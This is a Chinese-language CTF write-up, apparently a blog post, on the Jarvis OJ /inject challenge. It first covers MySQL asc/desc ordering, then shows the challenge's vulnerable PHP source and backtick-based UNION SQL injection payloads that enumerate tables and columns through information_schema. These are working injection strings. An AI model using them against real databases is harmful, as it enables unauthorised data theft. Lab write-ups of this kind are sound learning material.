Jarvis OJ /inject

Jarvis OJ /inject

感觉SQL注入挺重要的,也算是比较基础的东西,而且经常写题会遇到。所以就打算每次遇到一些新的东西,或者忘了的东西,就记录一下。也会记录一些数据库的知识,毕竟SQL注入和数据库是分不开的。


一.MySQL数据排序asc、desc

1.asc

这个就是把查询到的数据,从小到大的排列,当然,这也是默认的排解方式。像这个是没有加任何其他东西的查找。


mysql> select * from users where password=1 group by username;

在这里插入图片描述


然后这个是使用了acs的结果:


mysql> select * from users where password=1 group by username asc;

在这里插入图片描述


2.desc

这个就是把查询到的数据,从大到小的排列。
最后是使用了desc的结果:
mysql> select * from users where password=1 group by username desc;

在这里插入图片描述
10 rows in set, 3 warnings (0.00 sec)
补充一下一个东西,关于desc的:
sql中用于order by后的DESC是descend的缩写,降序的意思。用来将查询结果集按某字段降序排序显示。

命令(command)中用于表名前的DESC是describe的缩写,描述的意思。用来描述指定表名的表结构。

二. Jarvis OJ /inject

1.知识点:

1.1 首先是关于desc的,在上面已经记录过了。
1.2 而后就是关于index.php~,也已经被出烂了,备份文件泄露。要是真实情况有这就好了。但是仔细一想,就算拿到首页源码,又能干什么了!
1.3 关于反引号的,这个我暂时也没搞清楚,竟然不用闭合
1.4 {KaTeX parse error: Expected 'EOF', got '}' at position 6: table}̲,原来这样就可以把table当做变量了。

2.Action

先用御剑扫到源码,打开看一下,发现是SQL注入:

<?php
require("config.php");
$table = $_GET['table']?$_GET['table']:"test";
$table = Filter($table);
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
$sql = "select 'flag{xxx}' from secret_{$table}";
$ret = sql_query($sql);
echo $ret[0];
?>

试了一下table=test` `a,发现没有报错,于是开始注入

test` `union select 1
发现没有什么反应,别人说是因为1在第二位,有点类似与这样,我们必须加一个limit 1,1才可以把我们查找的1,找出来。难道test也查出来了,为啥啊,反引号好神奇。

mysql> select * from users where username=‘admin2’ union select 1,2,3 from users;

在这里插入图片描述

最后:

test` `union select group_concat(table_name) from information_schema.tables where table_schema=database()

test` ` union select group_concat(column_name) from information_schema.columns where table_schema=database()

test` `union select XXX from secret_test

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值